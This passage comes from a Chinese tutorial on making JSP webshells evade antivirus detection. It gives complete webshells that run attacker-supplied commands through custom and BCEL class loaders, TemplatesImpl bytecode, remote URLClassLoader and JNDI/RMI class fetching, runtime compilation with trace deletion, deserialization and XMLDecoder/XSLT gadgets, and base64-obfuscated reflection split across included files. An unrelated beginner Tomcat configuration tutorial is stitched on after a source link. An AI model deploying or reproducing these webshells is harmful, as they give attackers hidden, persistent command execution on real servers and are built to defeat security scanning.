IAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
PermissionCollection pc=new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd=request.getParameter("cmd");
Class<?> shell=loader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
response.getWriter().println(dm.invoke(object, cmd));
%>
免殺效果:
Apache Commons BCEL被包含在了JDK的原生庫中,BCEL庫提供了一系列用于分析、創建、修改Java Class文件的API用于處理字節碼,但是com.sun.org.apache.bcel.internal.util.ClassLoader這個類加載器由于安全問題,在JDK7以上版本被移除,導致BCEL字節碼的利用變得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
byte[] bytes=Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
String code=Utility.encode(bytes, true);
String bcelCode="$$BCEL$$" + code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader=new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell=bcelClassLoader.loadClass(bcelCode);
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
String cmd=request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>
TemplatesImpl是fastjson反序列化漏洞中常用的對象之一,但是由于在TemplatesImpl觸發漏洞點只是調用個無參構造,導致惡意類的類方法無法被調用,只能將惡意代碼插入到無參構造方法,或者靜態代碼塊中。
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意:
這里的類必須繼承自AbstractTranslet
<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
class Demo {
private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public Demo(String s) {
try {
byte[] codes=Base64.getDecoder().decode(s);
byte[][] _bytecodes=new byte[][] {
codes,
};
TemplatesImpl templates=new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");
%>
在這里由于不能調用惡意類的類方法和有參構造,導致無法動態的執行命令,雖然如此但依舊可能利用ASM,javassist這些字節碼框架來動態生成惡意類,進行動態的調用命令,在本文先不在探討如何利用,
利用的方式將會在后期文章中講解。
URLClassLoader一般有兩種利用方式,一種是遠程加載class文件,一種是本地加載class文件。
直接利用遠程在家class文件的好處是代碼量少,特征少。但是由于需要一個外網主機作為服務器,遠程可能存在著被溯源的可能性。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd=request.getParameter("cmd");
URL url=new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader=new URLClassLoader(new URL[]{url});
System.out.println("父類加載器:" + classLoader.getParent()); // 默認父類加載器是系統類加載器
Class shell=classLoader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>
這里講解一下服務端如何搭建:
第一步:在一個文件夾中使用python開啟一個http服務
python -m http.server
第二步:將編譯好的class文件,根據全限定類名創建相應的文件夾,并導入class文件
以上兩步即可完成搭建
免殺效果:
該免殺方式為先寫入一個java馬,利用JavaCompiler將其在jvm運行時編譯成class文件,及javac動態編譯,在利用urlclassloader加載編譯好的class文件,為了消除特征以下的base64編碼的內容就是之前寫好的webshell代碼。由于這種方式會創建java,class文件,為了隱蔽性,在這里將刪除的文件在進行了刪除處理。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>
<%
class delete{
public void deleteDir(File directory){
File files[]=directory.listFiles();
for (File file : files) {
if(file.isDirectory()){
deleteDir(file);
}else {
file.delete();
}
}
directory.delete();
}
}
String cmd=request.getParameter("cmd");
String base64Code="cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";
FileWriter writer;
try {
writer=new FileWriter(System.getProperty("user.dir")+"\\Shell.java");
writer.write(new String(Base64.getDecoder().decode(base64Code)));
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
JavaCompiler javac=ToolProvider.getSystemJavaCompiler();
int status=javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"\\Shell.java");
if(status!=0){
response.getWriter().println(System.getProperty("user.dir"));
}
URLClassLoader classLoader=new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
Class shell=classLoader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, cmd);
response.getWriter().println(invoke);
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\com"));
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\Shell.java"));
} catch (Exception e) {
e.printStackTrace();
}
%>
免殺效果:
如果大家學過shellcode的免殺,我想都會有一種似曾相識的感覺,沒錯,這里的字節碼類似與shellcode,而類加載器類似于shellcode加載器。本文講解了最常用的生成字節碼的方式,以及利用類加載器加載字節碼達到免殺效果。
本章主要講解,如何利用通用漏洞來進行命令執行,從而達到免殺效果
這種方式就相當于直接觸發提供一個反序列化漏洞入口,但是能否被利用,還是在于服務端本身是否存在反序列化漏洞,下面給了一個例子,使用cc1鏈構建的webshell。
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd=request.getParameter("cmd");
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
Transformer transformerChain=new ChainedTransformer(transformers);
Map innermap=new HashMap();
Map outmap=LazyMap.decorate(innermap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler=(InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免殺效果:
可見由于調用的函數太多,特征也非常明顯,這里算是提供一些思路。
想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免殺其實就是利用XMLDecoder處理惡意的xml文件導致命令執行,并沒有太多常見命令函數的特征,免殺效果不錯。
<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd=request.getParameter("cmd");
String s="<object class=\"java.lang.ProcessBuilder\">\n" +
"<array class=\"java.lang.String\" length=\"3\">\n" +
"<void index=\"0\">\n" +
"<string>cmd.exe</string>\n" +
"</void>\n" +
"<void index=\"1\">\n" +
"<string>/c</string>\n" +
"</void>\n" +
"<void index=\"2\">\n" +
"<string>"+cmd+"</string>\n" +
"</void>\n" +
"</array>\n" +
"<void method=\"start\" />\n" +
"</object>\n";
XMLDecoder xd=new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process=(ProcessBuilder) xd.readObject();
InputStream is=process.start().getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
其實就是利用XSLT注入來執行命令,但值得注意的是XSLT注入筆者目前并沒有想到合適的方法讓內容回顯,因為XSLT貌似只能執行靜態方法且返回值都是以String類型返回,導致process中的數據很難取出來。
<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd=request.getParameter("cmd");
String s=" <xsl:stylesheet version=\"1.0\" " +
"xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:rt=\"java.lang.Runtime\"> " +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +
" <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +
" <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +
" <xsl:value-of select=\"$ddd\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
InputStream in=new ByteArrayInputStream(s.getBytes());
StreamResult result=new StreamResult(new ByteArrayOutputStream());
Transformer t=TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);
%>
攻擊者:
package com.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String[] args) throws Exception {
try {
Registry registry=LocateRegistry.createRegistry(1099);
Reference aa=new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper=new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
惡意類:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell:
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri="rmi://127.0.0.1:1099/hello";
Context ctx=new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>
本章主要是通過自己創造漏洞來執行命令,而我們用到的這些函數其實也是業務中比較常見的函數,且如果不了解漏洞原理,也不好分析是否是webshell
本章只要將之前沒講的一些免殺反射進行補充
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file="1.jpg" %>
1.jpg
<%
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果:
可以看到某盾會查殺jpg文件,這樣的話,我們就在分解成多個部分
這里我們分成兩部分進行包含
發現依舊繞不過,其實原因就是殺軟的匹配規則,有的是單一匹配,有的是同時匹配,因此我們換一個之前不免殺的webshell(由于兩處及以上特征存在導致被查殺)
正常運行
某盾不在查殺
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file="1.jpg" %>
<%@ include file="2.txt" %>
1.jpg
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
%>
2.txt
<%
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
java的免殺只要就是在于如何利用字節碼,jsp特性,創建漏洞,少見的API等方式去繞過殺軟的正則表達式,一般的殺軟為了降低誤報率,其實規則寫的并不苛刻,還是比較好繞過了,多種免殺一起使用可以達到比較好的效果,其實學免殺,并不是盲目去測試,而且要了解更多的語言特性,就相當于游戲規則,當你足夠了解游戲規則,再去測試殺軟的規則,才能游刃有余。從才開始的php到現在的jsp,免殺系列已經寫了10來篇了,weshell免殺就此先告一段落,后面如果有新的知識點也會繼續補充,感謝大家。
原文鏈接:https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral
rebel公布了一份2020 Java生態系統報告,調查結果顯示,有61%的開發者們使用的主要應用服務器還是Tomcat。很多初學Java的人不知道怎么入門Tomcat,接下來千鋒武漢Java培訓小編就給大家做一個簡單的知識梳理。
Tomcat是什么?
Tomcat是由Apache開發的一個Servlet容器,實現了對Servlet和JSP的支持,并提供了作為Web服務器的一些特有功能,如Tomcat管理和控制平臺、安全域管理和Tomcat閥等。Tomcat包含了一個配置管理工具,也可以通過編輯XML格式的配置文件來進行配置。
Tomcat重要目錄
/bin - Tomcat 腳本存放目錄(如啟動、關閉腳本)。 *.sh 文件用于 Unix 系統; *.bat 文件用于 Windows 系統。
/conf - Tomcat 配置文件目錄。
/logs - Tomcat 默認日志目錄。
/webapps - webapp 運行的目錄。
Tomcat常見組件
1.服務器(server)
實例,通常一個JVM只能包含一個實例,一般情況下,一個物理服務器可以啟動多個JVM,從而啟動多個實例,但一般不這么做。
2.服務(service)
一個服務組件通常包含一個引擎和此引擎相關聯的一個或多個鏈接服務器。
3.連接器(connectors)
一個引擎能配置多個連接器,但是每個連接器的端口不能沖突。同時,Tomcat也支持AJP JSERV和JK2連接器,實現讓Apache反向代理到后端服務器的非常高效的傳輸協議。
4.引擎
可以自己接收用戶的http請求,并構建響應報文,而且可以在內部處理java程序的整個套間 。
5.主機
6.上下文
7.閥門,能夠過濾也可以做訪問控制。
8.日志記錄器
9.領域(Realm),用來實現用戶的認證和授權。
任何Tomcat實例就是一個server,而一個server內部要想能夠解析JSP頁面轉義編譯serlet程序,要靠其引擎來實現。而引擎才是真正意義上執行JSP代碼的容器,都是Tomcat用類來描述這些組件的。同時,為了接受用戶的請求,需要基于connector組件,所謂監聽的套接字的程序,能夠接手用戶的請求,被稱為連接器。一個server內部可以完全運行N個引擎,無非就是運行多個虛擬機而已。
Tomcat的安裝
查看文件:
# cat /usr/local/tomcat/conf/server.xml
Listener為偵聽器,通常實現tomcat內部進行通信的,可在各組件之間完成通信
<Serverport="8005" shutdown="SHUTDOWN">
<Listener className="org.apache.catalina.core.AprLifecycleListener"SSLEngine="on" />
<Listener className="org.apache.catalina.core.JasperListener"/>
<Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener"/>
<Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
<Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/>
全局命名資源,方便全局引用,所以為其起完名稱后可以隨便調用的
<GlobalNamingResources>
<Resource name="UserDatabase"auth="Container"
type="org.apache.catalina.UserDatabase"
description="User databasethat can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" /> #其調用tomcat-user.xml配置文件進行用戶認證
</GlobalNamingResources>
服務類組件配置信息,將連接器關聯至引擎上
<Servicename="Catalina">
<Connector port="8080" protocol="HTTP/1.1" #所在監聽端口,以及協議版本號
connectionTimeout="20000" #連接超時時間,單位毫秒
redirectPort="8443" /> #必要的時候可以做重定向,定義在8443
<Connector port="8443"protocol="HTTP/1.1" SSLEnabled="true" #端口監聽在8443,協議http1.1
maxThreads="150" scheme="https" secure="true" #最大線程,協議版本,安全的
clientAuth="false" sslProtocol="TLS" /> #不驗證客戶端 ssl協議用的是tls
<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
<Engine name="Catalina" defaultHost="localhost"> #引擎,名為catalina
<RealmclassName="org.apache.catalina.realm.LockOutRealm">
<RealmclassName="org.apache.catalina.realm.UserDatabaseRealm"
resourceName="UserDatabase"/> </Realm>
<Host name="localhost" appBase="webapps" #應用程序存放的位置,相對路徑
unpackWARs="true" autoDeploy="true"> #如果是war文件格式,是否解壓,是否自動部署
#定義閥門,java中類的記錄方式,當前所處域名反過來寫的記錄方式
<ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs"
prefix="localhost_access_log." suffix=".txt" #日志的命名 suffix表示時間戳
pattern="%h %l %u %t "%r" %s %b" /> #訪問日志的格式
</Host>
</Engine>
</Service>
</Server>
